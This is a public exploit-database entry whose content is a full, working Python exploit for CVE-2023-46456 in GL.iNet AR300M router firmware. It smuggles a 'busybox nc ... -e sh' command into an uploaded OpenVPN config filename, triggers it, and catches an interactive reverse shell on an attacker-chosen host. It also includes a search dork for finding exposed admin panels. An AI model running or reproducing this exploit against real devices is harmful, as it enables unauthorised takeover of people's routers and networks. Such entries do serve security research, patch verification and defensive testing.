Exploit-DB #51854
Description: GL.iNet AR300M v3.216 Remote Code Execution - CVE-2023-46456 Exploit
Type: remote
Platform: hardware
Date: 2024-03-03
Author: cyberaz0r

Exploit:
#!/usr/bin/env python3

# Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0[PII_REDACTED]449.tar
# Version: 3.216
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46456

import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def generate_random_string():
	return ''.join([chr(randint(97, 122)) for x in range(6)])

def add_config_file(url, auth_token, payload):
	data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}
	try:
		r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
		r.raise_for_status()
	except requests.exceptions.RequestException:
		print('[X] Error while adding configuration file')
		return False
	return True

def verify_config_file(url, auth_token, payload):
	try:
		r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
		r.raise_for_status()
		if not r.json()['passed'] and payload not in r.json()['passed']:
			return False
	except requests.exceptions.RequestException:
		print('[X] Error while verifying the upload of configuration file')
		return False
	return True

def add_client(url, auth_token):
	postdata = {'description':'RCE_client_{}'.format(generate_random_string())}
	try:
		r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
		r.raise_for_status()
	except requests.exceptions.RequestException:
		print('[X] Error while adding OpenVPN client')
		return False
	return True

def get_client_id(url, auth_token, payload):
	try:
		r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
		r.raise_for_status()
		for conn in r.json()['clients']:
			if conn['defaultserver'] == payload:
				return conn['id']
		print('[X] Error: could not find client ID')
		return False
	except requests.exceptions.RequestException:
		print('[X] Error while retrieving added OpenVPN client ID')
	return False

def connect_vpn(url, auth_token, client_id):
	sleep(0.25)
	postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}
	r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)

def cleanup(url, auth_token, client_id):
	try:
		r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)
		r.raise_for_status()
	except requests.exceptions.RequestException:
		print('[X] Error while cleaning up OpenVPN client')
		return False
	return True

def get_command_response(s):
	res = ''
	while True:
		try:
			resp = s.recv(1).decode('utf-8')
			res += resp
		except UnicodeDecodeError:
			pass
		except socket.timeout:
			break
	return res

def revshell_listen(revshell_ip, revshell_port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(5)

	try:
		s.bind((revshell_ip, int(revshell_port)))
		s.listen(1)
	except Exception as e:
		print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
		exit(1)

	try:
		clsock, claddr = s.accept()
		clsock.settimeout(2)
		if clsock:
			print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
			res = ''
			while True:
				command = input('$ ')
				clsock.sendall('{}\n'.format(command).encode('utf-8'))
				stdout.write(get_command_response(clsock))

	except socket.timeout:
		print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
		s.close()

	except KeyboardInterrupt:
		print('\n[*] Closing connection')
		try:
			clsock.close()
		except socket.error:
			pass
		except NameError:
			pass
		s.close()

def main(base_url, auth_token, revshell_ip, revshell_port):
	print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')

	payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)
	print('[+] Filename payload: "{}"'.format(payload))

	print('[*] Uploading crafted OpenVPN config file')
	if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):
		exit(1)

	if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):
		exit(1)
	print('[+] File uploaded successfully')

	print('[*] Adding OpenVPN client')
	if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):
		exit(1)

	client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)
	if not client_id:
		exit(1)
	print('[+] Client ID: ' + client_id)

	print('[*] Triggering connection to created OpenVPN client')
	Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()

	print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
	revshell_listen(revshell_ip, revshell_port)

	print('[*] Clean-up by removing OpenVPN connection')
	if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):
		exit(1)

	print('[+] Done')

if __name__ == '__main__':
	if len(argv) < 5:
		print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
		exit(1)

	main(argv[1], argv[2], argv[3], argv[4])